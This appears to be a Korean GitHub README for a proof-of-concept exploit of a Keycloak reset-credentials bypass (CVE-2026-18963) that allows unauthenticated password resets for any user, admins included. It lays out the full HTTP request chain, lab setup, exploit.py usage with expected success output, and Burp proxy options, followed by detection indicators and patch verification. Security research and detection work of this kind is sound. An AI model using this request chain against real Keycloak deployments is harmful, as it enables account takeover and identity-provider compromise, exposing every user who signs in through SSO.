
CVE-2026-18963에 대한 개념 증명 익스플로잇으로, 인증되지 않은 계정 탈취를 가능하게 하는 치명적인 Keycloak reset-credentials 우회 취약점입니다. 승인된 테스트를 위한 랩 설정, 탐지 지침 및 수정 절차를 포함합니다.
Keycloak의 reset-credentials 흐름에서의 인증되지 않은 계정 탈취. 사용자 이름/이메일만 아는 공격자가 관리자를 포함한 모든 사용자의 비밀번호를 확인 이메일을 받지 않고도 재설정할 수 있습니다.
이 개념 증명(PoC)은 교육 목적, 방어적 연구, 탐지 엔지니어링, 그리고 승인된 보안 테스트를 위해서만 게시됩니다.
전체 내용은 DISCLAIMER.md를 참조하십시오.
| CVE | CVE-2026-18963 |
| 심각도 | 치명적 — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 약점 | CWE-640 — 취약한 비밀번호 복구 메커니즘 |
| 영향 범위 | Keycloak < 26.7.2 (업스트림). 26.6.6 / 26.4.15 번들로 수정된 RH 빌드 스트림도 포함 |
| 수정 버전 | Keycloak 26.7.2 (PR #51844) |
| 전제 조건 | Realm에서 비밀번호 찾기(자격 증명 재설정) 활성화 — 기본값 |
| 영향 | 모든 사용자(realm 관리자 포함)의 완전한 계정 탈취 → IdP 손상 + 횡적 SSO 접근 |
비밀번호 재설정(reset-credentials) 흐름은 일반적으로 새 비밀번호를 설정하기 전에 계정 소유자에게 이메일로 전송된 링크를 클릭하도록 강제합니다. 두 가지 결함으로 공격자는 이 확인을 완전히 건너뛸 수 있습니다:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" 노트를 실행 ID에 범위를 지정하지 않고 저장합니다. 흐름에 다시 진입하면 인증 세션이 혼란스러운/오래된 상태로 남습니다.ResetCredentialEmail.action()이 ACTION_TOKEN_USER_ID를 검증하지 않고 context.success()를 호출합니다 (즉, 이메일로 전송된 액션 토큰이 실제로 소비되었는지 확인하지 않습니다).이 둘을 연결하면 인증 세션이 임의의 사용자에 대해 이메일 없이 곧바로 UPDATE_PASSWORD 단계로 진행됩니다.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
주석이 달린 패치 diff는 docs/ROOTCAUSE.md를 참조하십시오.
Docker와 requests 라이브러리가 포함된 Python 3이 필요합니다.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
예상 출력 끝부분:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
그런 다음 victim / Pwned-2026!로 로그인하여 탈취를 확인하십시오.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
모든 HTTP 응답은 검사를 위해 ./dump/에 기록됩니다.
Keycloak이 이미 8080을 사용하므로 Burp의 리스너를 다른 포트(예: 8081)로 지정하십시오:
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Burp Repeater용 원시 요청 체인은 requests/burp-chain.txt에 있습니다.
동일한 인증 세션에서 이메일 검증이 선행되지 않은 비밀번호 변경을 찾으십시오:
VERIFY_EMAIL / EXECUTE_ACTION_TOKEN이 없는 UPDATE_PASSWORD 이벤트.tryAnotherWay=on을 포함한 reset-credentials 요청의 버스트.tab_id에 대한 login-actions/reset-credentials의 다중 재진입.전체 실행 과정은 CVE-2026-18963.mp4에 기록되어 있습니다 (저장소 루트에 있음).
공개된 Keycloak 패치(PR #51844) 및 커뮤니티 분석 글과 대조하여 검증되었습니다.
MIT © red-darkin — 교육 및 승인된 테스트 용도로만 사용하십시오.